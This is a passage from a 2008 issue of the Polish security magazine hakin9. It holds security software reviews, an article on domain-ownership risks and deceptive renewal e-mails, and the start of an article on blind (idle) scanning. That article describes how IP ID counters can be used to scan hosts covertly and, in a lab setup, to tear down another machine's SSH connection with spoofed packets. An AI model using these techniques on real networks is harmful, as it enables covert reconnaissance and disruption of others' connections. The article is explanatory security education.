dych Windows 9x/ME/NT/2000/XP/2003/Vista. Sys-
temy plików, które obsługuje, to: FAT 16/32, NTFS,
NTFS5. Dane możemy odzyskiwać także z dysków
sformatowanych, z zaginionych lub uszkodzonych par-
tycji oraz dysków logicznych. Udaje się odzyskać za-
równo utracone foldery, jak i pliki. Program radzi sobie
bardzo dobrze także z plikami, które zostały już usu-
nięte, a miejsce po nich nadpisane. Narzędzie spraw-
dzi wszystkie media, które zdefiniujemy, w poszukiwa-
niu utraconych danych, po czym wyświetli je w drze-
wie według typu pliku. Rozpoznaje ponad 300 różnych
typów plików, w tym dokumenty procesora tekstu, ar-
kusza kalkulacyjnego, pliki graficzne, multimedia, ko-
dy źródłowe itp. Media, z których możemy odzyskać
dane to:
• dyski twarde,
• dyskietki,
• napędy ZIP,
• dyski/pamięci USB.
Program wymaga co najmniej 32 MB pamięci RAM. Opis
procesu instalacji i aktywacji znajduje się w pliku teksto-
wym na płycie CD.
Drogi Czytelniku, masz trzy miesiące (do marca 2008),
aby zarejestrować program. Następnie otrzymasz pełną
wersję programu bez ograniczeń czasowych. l
Rysunek 1.
Recovery Options
Licencja dla oprogramowania Dr.Web
• Licencję dla oprogramowania Dr.Web Anti-Virus, dołą-
czonego do numeru 11/2007 hakin9, można uzyskać po
rejestracji na stronie dystrybutora: www.doctorweb.com.pl/
hakin9, używając kodu promocyjnego: AVL-32.
• Licencję dla oprogramowania Dr.Web For File Servers
można uzyskać po rejestracji na stronie dystrybutora:
www.doctorweb.com.pl/hakin9, używając kodu promo-
cyjnego: AVF-32.
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,
sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl
14
Narzędzia
hakin9 Nr 01/2008
www.hakin9.org
Z przodu pudełka producent umieścił spis podstawowych
składników zestawu, w którego skład wchodzą: skaner
antywirusowy VirusScan, skaner antyspyware'owy, fire-
wall Personal Firewall Plus, program optymalizujący
działanie systemu, program do wykonywania kopii zapa-
sowych DataBackup, filtr antyspamowy SpamKiller oraz
program kontroli rodzicielskiej. Dodatkowo producent
dostarcza plugin do przeglądarki – McAfee SiteAdvisor,
który podpowiada, czy aktualnie odwiedzana strona jest
bezpieczna dla naszego komputera.
Zatem kupując program powinniśmy otrzymać wszyst-
ko, co potrzebne do ochrony domowego komputera.
Na pudełku zostały podane także minimalne wymagania
systemowe.
W pudełku otrzymujemy krótką instrukcję McAfee
Quick Start Guide w językach: angielskim, niemieckim,
francuskim, holenderskim, hiszpańskim, brazylijskim,
włoskim, fińskim, szwedzkim, norweskim, czeskim, pol-
skim i tureckim, a także płytę CD z oprogramowaniem
i pełną wersją instrukcji w języku zgodnym z językiem
zakupionego programu.
Do instalacji potrzebujemy: systemu Microsoft Win-
dows 2000, XP lub Vista, procesora taktowanego szyb-
kością minimum 500MHz, 256MB pamięci RAM oraz
około 150MB miejsca na dysku twardym.
Program jest wyposażony w wygodny instalator,
który prowadzi użytkownika krok po kroku poprzez
proces instalacji. Przed instalacją jest wykonywane ska-
nowanie plików systemowych oraz aktualnie urucho-
mionych programów. Niestety, podczas instalacji skład-
ników systemu możemy dowiedzieć się tylko, czy dany
składnik jest już zainstalowany lub czy dopiero oczeku-
je na instalację.
Po zakończeniu procesu instalacji programu
znajdziemy jego ikonkę w zasobniku systemowym.
Po wykonaniu podwójnego kliknięcia program System-
Center rozpoczyna inicjalizację, a w wypadku pierwsze-
go uruchomienia wyświetlane jest także okno z prośbą
o rejestrację oprogramowania.
Do rejestracji wymagane jest podanie jedynie imie-
nia, nazwiska, adresu e-mail oraz wymyślonego przez
nas hasła. Po instalacji program aktualizuje komponen-
ty oraz prosi nas o restart komputera. Po kliknięciu na
ikonę M w zasobniku systemowym otwiera się panel ste-
rowania całym systemem. W głównej części programu
widzimy informacje o stanie ochrony, natomiast z lewej
strony dostępne jest menu opcji. Do wyboru są dwa
interfejsy menu – podstawowy (prostszy) oraz zaawan-
sowany.
W menu podstawowym otrzymujemy dostęp
do aktualizacji sygnatur baz wirusów, skanowania
całego komputera, opcji optymalizujących komputer
oraz możliwości zablokowania całego ruchu sieciowe-
go. Menu zaawansowane pozwala natomiast na dokład-
ną konfigurację systemu.
Możemy dowiedzieć się, jakie zdarzenia miały miej-
sce w naszym komputerze (akcje antywirusa i zapory),
mamy dostęp do kwarantanny oraz możliwość odzyska-
nia plików, które zostały niesłusznie oznaczone jako
zainfekowane. Możemy sprawdzić także, które progra-
my generują najwięcej ruchu sieciowego.
Działająca w tle ochrona zapewniana przez pro-
gram nie spowalnia w zauważalnym stopniu kompute-
ra z procesorem Duron 1350+ oraz 1GB pamięci DDR
RAM.
W przypadku posiadania sieci routowanej przez kom-
puter z firewallem McAfee należy wyłączyć zaporę w celu
udostępniania Internetu innym komputerom.
Damian Klimek
Producent: McAfee
System: Windows 2000, Windows XP, Windows Vista
Typ: Internet Security Suite
Strona producenta: http://www.mcafee.com/pl/
Ocena: 5/5
Internet Security Suite
Rysunek 1.
Internet Security Suite
15
hakin9 Nr 01/2008
www.hakin9.org
Narzędzia
Przy zakupie programu w zestawie dostajemy nastę-
pujące aplikacje: Teledisk (niestety, w wersji angiel-
skiej), Teleguard zawierający programy: Telesafe (służy
do zabezpieczania haseł) i Telelogin – pozwalający
dodatkowo zabezpieczyć konto w Windowsie przy użyciu
sprzętowego tokena. Do dyspozycji mamy też Teletoken
Manager – program służący do konfiguracji tokena oraz
wtyczkę Telezip i dodatek Teleshell, umożliwiający inte-
grację z systemem Windows. Najbardziej atrakcyjnym
elementem całego pakietu jest token sprzętowy, który
możemy sobie sami skonfigurować. Instalacja systemu
przebiega bezproblemowo – przynajmniej przy wyko-
rzystaniu systemu Windows XP. Instalator przeprowa-
dza użytkownika krok po kroku przez cały proces, a inte-
rakcja odbywa się w języku polskim. Pomoc w pakiecie
także jest zadowalająca, jednakże dobre wrażenie cało-
ści trochę psuje nieprzetłumaczona pomoc dla progra-
mu Teledisk. Pakiet bez problemu integruje się z syste-
mem Windows XP, pozwala nam łatwo zaszyfrować pliki
przy korzystaniu z menu kontekstowego, daje również
możliwość wzmocnienia ochrony poprzez użycie tokena
sprzętowego. A teraz przyjrzyjmy się poszczególnym
aplikacjom dostępnym w pakiecie.
Konfiguracja tokena za pomocą programu Teleto-
ken Manager odbywa się w sposób całkowicie bezbole-
sny. Kreator prowadzi nas niemalże za rączkę, pewnym
minusem jest tylko fakt, że kod PUK trzeba zapisać ręcz-
nie – brakuje opcji zapisu do pliku konfiguracji. Z drugiej
strony, ze względów bezpieczeństwa to pozytywne zacho-
wanie, ponieważ nikt nam nie wykradnie kodu razem
z plikiem. Gorzej będzie, jak zapisany numer schowamy
w jakiejś książce, którą odłożymy na półkę.
Istnieje możliwość naprawy tokena, jeżeli coś się
w nim zepsuje. Program Telezip pozwala na wzmocnie-
nie ochrony plików archiwizowanych, aczkolwiek dosta-
jemy go w takim formacie, że możemy mieć problem
z otwarciem archiwum na komputerze bez Telezipa.
Telelogin jest interesującą aplikacją, która pozwoli choć
trochę wzmocnić ochronę Twoich danych w profilu, daje
on możliwość stworzenia hasła rezerwowego w przypad-
ku zgubienia tokena, natomiast nie chroni nas przed użyt-
kownikiem, który zaloguje się do systemu na inne konto
z uprawnieniami administratora – ma wtedy możliwość
podejrzenia naszych plików. Niedopracowany jest pro-
gram Teledisk – kreatory są w języku polskim, a menu
w języku angielskim. Nie wiem dlaczego, może tylko mnie
trafiła się taka niewykończona wersja? Aplikacja pozwala
nam tworzyć ukryte wolumeny w oparciu o różne algoryt-
my szyfrowania, pozwalając uchronić cenne dane przed
atakami z zewnątrz.
Ogólnie pakiet wykorzystuje do szyfrowania głównie
algorytm AES, nazywany również Rijndael. Podsumowu-
jąc – mamy do czynienia z dobrym zestawem programów
zabezpieczających, który wymaga jednakże ostateczne-
go dopracowania i zwiększenia automatyzmu działania.
Jarosław Peterko
Teleguard
Producent: TeleVox
System: Windows 2000/2003/XP
Typ: Teleguard
Strona producenta: www.televox.pl
Ocena: 4/5
Rysunek 2.
Konfiguracja Teleloginu
Rysunek 3
.Sprzętowy Token
www.hakin9.org
hakin9 Nr 01/2008
16
Początki
P
odczas rejestracji domeny należy podać
swoje dane osobowe (imię i nazwisko, ad-
res, telefon, e-mail). Te dane są dostępne
w publicznej bazie WHOIS. Dzięki nim można się
skontaktować z właścicielem domeny, nawet je-
śli na stronie internetowej nie podano żadnych da-
nych kontaktowych. W bazie WHOIS, oprócz da-
nych adresowych właściciela domeny, są też inne
informacje: nazwa i adres firmy, w której domena
była rejestrowana, data rejestracji domeny i data
jej ważności (domenę rejestruje się na rok czasu,
jednak można od razu zapłacić za kilka lat z góry).
Gdy ważność domeny dobiega końca, należy wy-
kupić kolejny rok abonamentu, albo po upłynięciu
terminu ważności domena zostanie usunięta.
Jeśli stwierdzisz, że konkretny rejestrator
domeny Tobie nie odpowiada np. biuro obsługi
klienta jest do niczego, albo ceny są zbyt wyso-
kie, możesz taką domenę przenieść do innego
rejestratora. Zazwyczaj takie przeniesienie jest
darmowe, ale trzeba zapłacić za koszt rocznego
utrzymania domeny, której ważność zostanie au-
tomatycznie przedłużona. Aby przenieść dome-
nę, należy ją odbezpieczyć w panelu administra-
cyjnym. Domyślnie domeny są zabezpieczone,
dzięki czemu nikt nie przetransferuje cudzej do-
meny. Aby przenieść niektóre domeny (np. *.biz,
*.info), oprócz ich odbezpieczenia należy znać
kod auth-info (jest to coś w rodzaju hasła, któ-
re zna obecny rejestrator domeny – kod ma za
zadanie utrudnić przeniesienie domeny osobie,
która nie jest jej właścicielem).
Jak sprawdzić dane
właściciela domeny
Jeśli chcesz sprawdzić dane właściciela domeny,
powinieneś skorzystać z serwisu www.whois.net.
Domeny – zagrożenia
i ich skutki
Damian Daszkiewicz
stopień trudności
Posiadanie własnej domeny internetowej to nie tylko prestiż.
To również szereg różnego rodzaju zagrożeń np. otrzymywanie
zwiększonej ilości SPAMu, czy możliwość kradzieży domeny.
Z artykułu dowiesz się
• co to jest WHOIS i w jaki sposób skontakto-
wać się z właścicielem domeny, jeśli na stronie
WWW nie ma informacji kontaktowych,
• jak przenieść domenę od obecnego do innego
rejestratora,
• jak niektóre firmy podkradają klientów przy
przedłużaniu ważności domeny.
Co powinieneś wiedzieć
• czym jest domena,
• znać podstawowe informacje związane z reje-
stracją domeny internetowej.
Zagrożenia związane z posiadaniem domeny
hakin9 Nr 01/2008
www.hakin9.org
17
W przypadku, gdy chcesz sprawdzić
dane właściciela jakiejś polskiej dome-
ny innej niż z końcówką .pl (np. com.pl,
net.pl), odpowiednim serwisem jest
http://www.dns.pl/cgi-bin/whois.pl.
Gdyby te strony nie działały, moż-
na sprawdzić dane właściciela do-
meny w niektórych serwisach, które
umożliwiają rejestrację domeny. Po-
jawi się wtedy informacja, że podana
domena jest zajęta, a w części serwi-
sów pojawi się dodatkowo możliwość
sprawdzenia, kto jest jej właścicielem.
Jeśli masz zainstalowany sys-
tem operacyjny Linux, to problem jest
jeszcze mniejszy – wystarczy w termi-
nalu wpisać polecenie
whois nazwa _
domeny
, np.
whois daszkiewicz.net
Rysunek 1. przedstawia fragment
danych z bazy WHOIS dla domeny
google.com. Jak widzisz, są tam po-
dane dane adresowe firmy Google.
Natomiast Rysunek 2. przedstawia
fragment danych z bazy WHOIS dla
domeny daszkiewicz.net. Ponieważ
wykupiłem opcję ID Protect, nie widać
moich danych osobowych (poza imie-
niem, nazwiskiem i tymczasowym ad-
resem e-mail).
Bezpieczeństwo
Jeśli posiadasz popularną domenę,
może się zdarzyć, że ktoś będzie chciał
ją ukraść. Chyba nie muszę tutaj pisać
o tak elementarnych zasadach bezpie-
czeństwa, jak nie podawanie nikomu
loginu i hasła do panelu administracyj-
nego, czy kodu
auth-info
.
Niebezpieczna
funkcja catch-all
Podczas parkowania domeny na
serwerze można uaktywnić funkcję
catch-all
. Oznacza to, że cokolwiek
się wpisze przed @nazwa_domeny
to wiadomość e-mail dojdzie do Cie-
bie na domyślny adres e-mail. Z po-
zoru jest to bardzo wygodna funk-
cja – nie trzeba tworzyć kilku kont
e-mailowych (np. kontakt@nazwa_
domeny, admin@nazwa_domeny).
Niestety, spamerzy monitorują in-
ternet w poszukiwaniu nowo zareje-
strowanych domen i próbują wysyłać
SPAM na adresy: sales@nazwa_
domeny,
contact@nazwa_domeny,
webmaster@nazwa_domeny info@
nazwa_domeny itp. Dlatego proponu-
ję wyłączyć funkcję
catch-all
i założyć
kilka zwykłych adresów e-mail.
Z drugiej strony funkcja
catch-all
jest bardzo przydatna: jeśli ktoś pi-
sząc do Ciebie e-mail popełni lite-
rówkę przed znakiem małpy to wtedy
taki e-mail i tak do Ciebie dojdzie.
Zwiększona
ilość SPAMu
Posiadając domenę musisz się liczyć
z otrzymywaniem zwiększonej ilości
SPAMu. Spamerzy monitorują inter-
net w poszukiwaniu nowych domen
i pobierają z bazy WHOIS adresy do
webmasterów. Dlatego podczas reje-
stracji domeny proponuję nie poda-
Otrzymany e-mail
Należy odnowić domenę XXX
Twoja domena XXX ulegnie przedawnieniu za 90 dni.
Możesz automatycznie odnowić domenę z NAZWA FIRMY.
Kliknij odnośnik w emailu, aby przedłużyć ważność domeny na następny rok. Powi-
nieneś odnowić rejestrację najszybciej jak to możliwe aby pozostała zarejestrowa-
na na Twoje dane. Kliknij tutaj, aby przedłużyć ważność domeny http://www.NAZWA
FIRMY.com/for.php?d=XXX.
Jak tylko otrzymamy Twoją płatność prześlemy wiadomość, potwierdzającą, że waż-
ność Twojej domeny została przedłużona. Usługi i informacje związane z NAZWA FIR-
MY. NAZWA FIRMY zarządza adresami, rejestracją, przedsięwzięciami i władzami za-
rządzającymi własnoscią domen internetowych. Informujemy przedsiebiorstwa, które
domeny są zarejestrowane i przypominamy im jeśli, domena może ulec przedawnieniu
lub jeśli nadchodzi czas, aby odnowić rejestrację domeny. Jeśli chcesz, aby NAZWA
FIRMY przedłużył rejestrację, kliknij w odnośnik zawarty w tym emailu. Jeśli nie chcesz
używać nazwy domeny po jej wygaśnięciu, możesz skasować tę wiadomość. Żadna in-
formacja nie zmieni się w bazie WHOIS po przedłużeniu ważności domeny przez NA-
ZWA FIRMY. Ważność domeny przedłuży się o jeden rok, będziesz mógł kontynuować
współpracę z dotychczasowym dostawcą. Możesz także poprosić swojego ISP o prze-
dłużenie ważności domeny. W wypadku jakichkolwiek pytań prosimy o kontakt z na-
szym centrum obsługi klienta pod adresem email support@NAZWA FIRMY.com
Rysunek 1.
Dane z bazy WHOIS dla domeny google.com
hakin9 Nr 01/2008
www.hakin9.org
Początki
18
wać głównego adresu e-mail. Zawsze
można założyć darmowe konto pocz-
towe w jakimś portalu i sprawdzać na-
nim pocztę dość sporadycznie. Gdy
sie okaże, że na to konto przychodzi
zbyt wiele SPAMu to wtedy należy za-
rejestrować nowe konto pocztowe i do-
konać zmian w bazie WHOIS.
Uwaga: musisz od czasu do cza-
su odbierać pocztę z tamtego konta,
gdyż czasami na taki adres e-ma-
il może przyjść jakaś ważna wiado-
mość np. przypomnienie o koniecz-
ności odnowienia domeny.
Regularnie spawdzaj,
kiedy domena wygaśnie
Domenę rejestruje się na okres mini-
mum 1 roku. Gdy okres ważności do-
meny zbliża się ku końcowi, należy za-
płacić za odnowienie domeny, czy-
li przedłużenie jej ważności o kolej-
ny rok. Każdy poważny rejestrator wy-
syła np. 30 dni przed końcem ważno-
ści domeny informację o konieczności
odnowienia domeny. Jednak zdarza-
ją się przypadki niepoważnych reje-
stratorów, którzy takich przypomnień
nie wysyłają. Poza tym email z przy-
pomnieniem może nie dojść. Dlatego
dla własnego bezpieczeństwa zanotuj
kiedy domena traci ważność. Można
w tym celu wykorzystać program przy-
pominający o zbliżających się roczni-
cach – większość komórek posiada
tego typu aplikacje. Ponieważ przelew
może iść kilka dni, nie zostawiaj przy-
krego obowiązku płacenia na ostatni
dzień. Polecam płacić najpóźniej ty-
dzień przed dniem zero.
Jeśli minie okres ważności domeny,
istnieje możliwość odzyskania domeny.
Zazwyczaj okres od wygaśnięcia waż-
ności domeny do jej fizycznego skaso-
wania wynosi około 40 dni. Tutaj jednak
radzę uważać, gdyż niektóre firmy po-
bierają wyższe opłaty, gdy się spóźnisz
z odnowieniem domeny. Przykładowo,
pewna firma, w której odnowienie do-
meny globalnej kosztuje 8 dolarów po-
biera opłatę w wysokości około 100 do-
larów za odnowienie domeny, której
okres ważności dobiegł końca.
Praktyka pewnej firmy
Niedawno otrzymałem e-mail z infor-
macją, że jedna z moich domen wy-
gaśnie za mniej niż 90 dni. W e-ma-
ilu był link z prośbą o przedłużenie
ważności domeny, a na końcu wia-
domości znajdowała się interesują-
ca stopka z informacją, że firma, od
której dostałem e-mail, zajmuje się
rejestracją domen oraz pilnowaniem
i przedłużaniem ich terminów ważno-
ści. Oczywiście nie miałem nic wspól-
nego z tą firmą, ponieważ korzystam
z oferty innego usługodawcy. Aby by-
ło ciekawiej, koszt odnowienia glo-
Terminologia
• WHOIS – Informacje o domenach internetowych można uzyskać przy pomocy
WHOIS, czyli powszechnie dostępnej bazy danych o abonentach domen interne-
towych. WHOIS udostępnia następujące dane: nazwa abonenta domeny i adres
(w przypadku domen rejestrowanych w NASK – nie dotyczy to osób fizycznych, na
podstawie Dz. U. z dnia 29 sierpnia 1997 r.), nazwy serwerów, na które jest delego-
wana domena oraz dane obsługującego rejestratora.
• Transfer domeny – możliwość przeniesienia domeny pomiędzy rejestratorami.
• auth-info (auth-code) – niektóre domeny (np. *.biz, *.info) posiadają specjalny kod
auth-info, który zna tylko Twój rejestrator. Bez znajomości tego kodu nie można
przenieść domeny do innego rejestratora (jest to zabezpieczenie przed osobami,
które chciałyby ukraść komuś domenę, przenosząc ją do swojego rejestratora).
• ID Protect – opcja (zazwyczaj dodatkowo płatna) pozwalająca na ukrycie danych
adresowych właściciela domeny w bazie WHOIS.
•
catch-all
– jeśli funkcja catch-all jest aktywna to poczta adresowana wedle sza-
blonu dowolna_nazwa@domena jest kierowana na domyślną skrzynkę e-mail.
Rysunek 2.
Dane z bazy WHOIS dla domeny daszkiewicz.net
Zagrożenia związane z posiadaniem domeny
balnej domeny wynosić miał prawie
50 euro, natomiast u mojego rejestra-
tora ta usługa kosztuje zaledwie 8 do-
larów.
Ta nieuczciwa firma liczy na to, że e-
mail przeczyta niezbyt rozgarnięta oso-
ba, która nie pamięta, u kogo rejestro-
wała domenę i zapłaci za usługę prze-
dłużenia jej ważności słono przy tym
przepłacając. Ramka Otrzymany e-ma-
il przedstawia widomość, jaką otrzyma-
łem od takiej nieuczciwej firmy. Po prze-
czytaniu wiadomości e-mail widać, że
nie pojawiła się ani razu informacja, iż jej
nadawca jest moim obecnym rejestra-
torem domeny. Wiadomość została tak
sprytnie zredagowana, że można łatwo
dojść do takiego wniosku.
Jak się przed tym bronić?
Działalność tej firmy jest bardzo nie-
etyczna. Poza tym chyba nikt nie lubi
płacić więcej za produkty, które moż-
na kupić taniej. Mogę tutaj z czystym
sumieniem powiedzieć, że ta wątpliwej
reputacji firma wykrada klientów innym,
uczciwym usługodawcom. Warto pa-
miętać, w jakiej firmie była rejestrowa-
na konkretna domena. Dzięki temu, po
otrzymaniu takiej wiadomości będziesz
wiedział, że jej nadawcą nie jest firma,
z którą współpracujesz. Jeśli rejestru-
jesz domeny u różnych rejestratorów,
na zasadzie dzisiaj pójdę tam, gdzie jest
najciekawsza promocja, koniecznie za-
pisuj w notatniku informacje dotyczą-
ce rejestracji każdej z domen. Ewen-
tualnie, w celu sprawdzenia tych da-
nych można skorzystać z bazy WHO-
IS. Ponieważ firma wysyła e-maile do
właścicieli domen, których termin waż-
ności upłynie za mniej niż 90 dni, waż-
ność domeny można przedłużyć np. na
100 dni przed jej przedawnieniem się –
i w ten sposób uniknąć spamerskich
wiadomości. Można również wykupić
usługę ukrywania prywatności – ID
Protect (zwykle jest to dodatkowo płat-
na opcja, która kosztuje około 10 do-
larów za rok). Wtedy w bazie WHO-
IS nie będą podane Twoje dane adre-
sowe, natomiast będzie tam umiesz-
czony tymczasowy adres e-mail
(np.
aoamq7oz@nameprivacy.com)
który przekieruje pocztę na Twój praw-
dziwy adres e-mail. Wtedy w programie
pocztowym w polu do będzie podany
ten tymczasowy adres e-mail, więc bę-
dziesz wiedział, że nadawca wiadomo-
ści uzyskał go z bazy WHOIS. W przy-
padku domen z końcówką .pl, .com.pl
itp. sprawa jest prostsza, gdyż przy re-
jestracji domeny na osobę fizyczną nie
ma potrzeby umieszczania w bazie
WHOIS Twoich danych adresowych.
Podsumowanie
Jeśli otrzymasz jakąkolwiek wiado-
mość e-mail dotyczącą przedłużenia
domeny, sprawdź czy jest to e-mail
od firmy, w której masz zarejestrowa-
ną domenę. Możliwe, że w przyszło-
ści inne firmy będą próbowały w tak
sprytny sposób wykradać klientów,
dlatego zapisuj w notatniku z usług
jakich firm korzystasz. Jeśli nie jesteś
przekonany, czy dany e-mail pocho-
dzi od firmy w której masz wykupio-
ną domenę, znajdź fakturę za dome-
nę – powinien na niej być numer tele-
fonu do rejestratora domeny.
Warto również rozważyć opcję
wyłączenia funkcji
catch-all
, aby nie
otrzymywać zbyt wiele SPAMu. Je-
śli nie stać Cię na wykupienie opcji ID
Protect to w bazie WHOIS podaj swój
tymczasowy adres e-mail, który po-
rzucisz, gdy zaczniesz otrzymywać
zbyt wiele SPAMu. Nie zapomnij rów-
nież zapisać w terminarzu informacji,
kiedy ważność danej domeny dobie-
ga końca. l
O autorze
Damian Daszkiewicz jest samoukiem od wielu lat interesującym się informatyką
i e-biznesem. Obecnie studiuje na Politechnice Rzeszowskiej na kierunku Informaty-
ka. W roku 2003 wydawnictwo Helion opublikowało jego książkę Vademecum hake-
ra. Edycja plików binarnych.
Kontakt z autorem: damian@daszkiewicz.net
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 01/2008
20
Atak
O
zaletach i celowości skanowania ni-
kogo chyba nie trzeba przekonywać.
Obecnie stosowanych technik ska-
nowania jest naprawdę mnóstwo. Większość
z nich jest zaimplementowana w programach
NMAP i AMAP. Skanery mogą używać technik
kamuflażu, które pozwalają na uniknięcie wy-
krycia. Niektórych z technik wykorzystanych
w wymienionych skanerach można użyć do
analizy połączeń ustanowionych pomiędzy
dwoma komputerami, a nawet doprowadzić do
ich rozłączenia.
Cel skanowania
Celem oczywiście jest poznanie usług dzia-
łających na skanowanym komputerze. Więk-
szość technik skanowania opiera się na wysy-
łaniu pakietów testujących i analizie odpowie-
dzi. Takie podejście ma jednak wadę – na ogół
ujawnia źródło skanowania – co niekoniecznie
jest korzystne dla naszego bezpieczeństwa,
a dodatkowo nic nie mówi o interesujących nas
połączeniach atakowanej maszyny. Sprawa
ma się nieco inaczej, jeżeli mamy możliwość
podsłuchiwania ruchu związanego ze ska-
nowanym komputerem. Możemy wtedy sfał-
szować adres źródłowy wysyłanych pakietów
i analizować odpowiedzi. Jeżeli nadarzy się ta-
ka niezwykle rzadka okazja, jak podsłuchiwa-
nie ruchu maszyny nienależącej do naszej sie-
ci, to należy wiedzieć, że istnieją lepsze techni-
ki skanowania, które dodatkowo nie ujawniają
naszej ciekawości. Taką techniką jest pasyw-
ny skan/fingerprinting. Używając tej metody
nie wysyłamy żadnych danych do skanowane-
go komputera, a jedynie analizujemy ruch prze-
Blind Attack
Konrad Malewski
stopień trudności
Skanowanie komputerów i odnajdywanie działających na
nich usług od zawsze było pasjonującym zajęciem, a techniki
odkrywania tajemnic zdalnej maszyny ewoluowały od bardzo
prostych tj. skanowania pakietami SYN, do bardzo finezyjnych
– jaką jest choćby technika blind scanning.
Z artykułu dowiesz się
• na czym polegają ataki blind scanning, blind
ARP scanning, blind RST,
• dlaczego losowość jest kluczowa dla bezpie-
czeństwa systemowego,
• o zasadzie działania niektórych mechanizmów
TCP/IP,
• jak wykorzystać Perla do pisania aplikacji sie-
ciowych.
Co powinieneś wiedzieć
• posługiwać się systemem opartym o jądro Li-
nuksa na poziomie użytkownika,
• znać podstawy Perla,
• znać podstawy TCP/IP.
Blind Attack
hakin9 Nr 01/2008
www.hakin9.org
21
pływający od i do ofiary, co w więk-
szości przypadków zajmuje więcej
czasu niż przy aktywnym skanowa-
niu. Korzystając z tej techniki po-
znanie wszystkich otwartych portów
może być procesem długotrwałym,
który zależy wyłącznie od aktyw-
ności maszyny w sieci. Dla przykła-
du – jeśli nikt nie skorzysta z usłu-
gi SSH, nigdy nie wykryjemy obec-
ności tejże usługi.
Mając do dyspozycji wymienione
dwa sposoby, skanowanie aktywne
i pasywne, należałoby wybrać po-
między prędkością a jakością. Ak-
tywne skany dostarczają szybko do-
kładnych wyników w przeciwieństwie
do pasywnego skanowania, na któ-
rego wyniki należy czekać niekiedy
tygodniami. Pasywne skanowanie
jest bezpieczniejsze. Natomiast ak-
tywne najczęściej ujawnia adres źró-
dłowy skanera.
Klasyczne
skanowanie na ślepo
Skanowanie na ślepo (ang. blind
scanning) jest inaczej zwane ska-
nowaniem jałowym (ang. idle scan-
ning). Technika ta została zaim-
plementowana w programie nmap
i polega na wykorzystaniu trzecie-
go komputera do przeprowadzenia
skanowania. Komputer, który zosta-
nie użyty jako przykrywka powinien
pozostawać w stanie bezczynności
albo przynajmniej natężenie ruchu
wychodzącego nie powinno fluktu-
ować.
Zanim przejdziemy do szczegó-
łów, należy przeanalizować zacho-
wanie stosów IP oraz TCP w nie-
których przypadkach. Przypuści-
my, że posiadamy skonfigurowa-
ną sieć komputerów składającą się
z trzech jednostek znajdujących się
w tej samej sieci. Komputery te ma-
ją adresy 172.16.83.1, 172.16.83.128
oraz 172.16.83.129. Na pierwszym
i ostatnim zainstalowany jest system
Linux, a komputer z końcówką 128
działa pod kontrolą systemu Win-
dows Vista.
Naszym celem będzie prze-
rwanie połączenia pomiędzy kom-
puterem 172.16.83.129(A) a kom-
puterem 172.16.83.128(B) dyspo-
nując komputerem 172.16.83.1(C).
Nasze możliwości ograniczają się
do fałszowania adresu źródłowe-
go wychodzących pakietów. Prze-
stawiamy kartę sieciową kompu-
tera C w tryb promisc, aby nie od-
bierać wyłącznie pakietów z adre-
sem 172.16.83.1. Pomiędzy kompu-
terami A i B nawiązane jest połącze-
nie SSH (serwer działa na kompute-
rze A).
Obiektem naszego zaintereso-
wania będzie flaga ID protokołu IP.
Najpierw należy zaobserwować, jak
systemy operacyjne ustalają wartość
pola ID protokołu IP.
Znaczenie badanych pól znaj-
dziemy w ramce. Żeby dowiedzieć
się, jak poszczególne systemy usta-
lają wartość pola ID, należy przepro-
wadzić prosty eksperyment polega-
jący na wywołaniu na komputerze
C polecenia przedstawionego na Li-
stingu 2.
Przyjrzyjmy się polu ID, które jest
inkrementowane o jeden. Natomiast
w systemach linuksowych jest tak, jak
pokazuje Listing 3.
Pole ID jest ustawione na zero.
Możemy spróbować użyć protoko-
W Sieci
• http://www.sys-security.com/archive/papers/Network_Scanning_Techniques.pdf
– opis technik skanowania,
• http://insecure.org/nmap/man/man-port-scanning-techniques.html – techniki ska-
nowania wykorzystane w programie NMAP,
• http://freeworld.thc.org/thc-amap – strona domowa skanera AMAP,
• http://ettercap.sourceforge.net – narzędzie do ataków MITM,
• http://lcamtuf.coredump.cx/p0f.shtml – najlepsze narzędzie do pasywnego skano-
wania,
• http://www.faqs.org/rfcs/rfc793.html – dokumentacja opisująca TCP,
• http://www.osvdb.org/reference/SlippingInTheWindow_v1.0.doc – analiza ataków
RST,
• http://www.phrack.org/issues.html?issue=64 – opis wykorzystania IP ID do rozłą-
czania hostów,
• http://insecure.org/nmap/idlescan.html – opis skanowania ślepego w NMAP,
• http://packetstormsecurity.org/mag/keen/kv13.txt – artykuł o BARP scanning,
• http://www.vanheusden.com/Linux/sp – bezpieczeństwo dla paranoików,
• http://www.microsoft.com/technet/community/columns/cableguy/cg1105.mspx
– zmiany w nowym stosie TCP/IP Windows.
Tabela 1.
Początkowy rozmiar okna
System operacyjny
Początkowy rozmiar okna
Windows Vista
8192
Windows 2000 5.00.2195 SP4
64512
Windows XP Home Edition SP1
64240
Windows XP Professional SP2
65535
HP-UX11
32768
Nokia IPSO 3.6-FCS6
16384
Cisco 12.2(8)
16384
Cisco 12.1(5)
16384
Cisco 12.0(7)
16384
Cisco 12.0(8)
16384
Windows 2000 5.00.2195 SP1
16384
Windows 2000 5.00.2195 SP3
16384
Linux 2.4.18
5840
Linux 2.6.22
5840
hakin9 Nr 01/2008
www.hakin9.org
Atak
22
łu ICMP. W tym celu dodajemy prze-
łącznik -1 do polecenia
hping2
. Powin-
niśmy zauważyć, że pola ID zarówno
systemu Windows, jak i Linux są inkre-
mentowane o jeden. Nie są to, tak jak
się mogliśmy spodziewać, liczby zu-
pełnie losowe. Należy przeprowadzić
dodatkowy eksperyment. Z kompute-
ra A wysyłamy pakiety ICMP ECHO
REQUEST do komputera B i vice ver-
sa, a potem przeprowadzamy ponow-
nie eksperyment wysyłając pakiety
z komputera C (patrz Listing 4).
Szybki rzut oka na funkcję
ip _
select _ ident
jądra systemu Linux
pozwoli nam odkryć tajemnicę te-
go zachowania. IP ID w Linuksie jest
wybierane w sposób losowy i ma in-
ne wartości dla komunikacji z po-
szczególnymi hostami i w obrębie
poszczególnych połączeń. W mo-
mencie wybrania IP ID dla danego
połączenia, ID kolejnych pakietów
jest zwiększane o jeden.
Systemy z rodziny Windows prze-
chowują globalny licznik pakietów,
który jest używany jako wartość po-
la ID w nagłówku IP. Dzięki temu me-
chanizmowi, można stwierdzić, czy
dany host wysłał pakiet, czy nie. Je-
śli pomiędzy kolejnymi odpowiedzia-
mi pole ID zwiększy się wyłącznie
o jeden, oznacza to, że nasz pakiet nie
spowodował wysłania odpowiedzi.
Metoda skanowania za pomo-
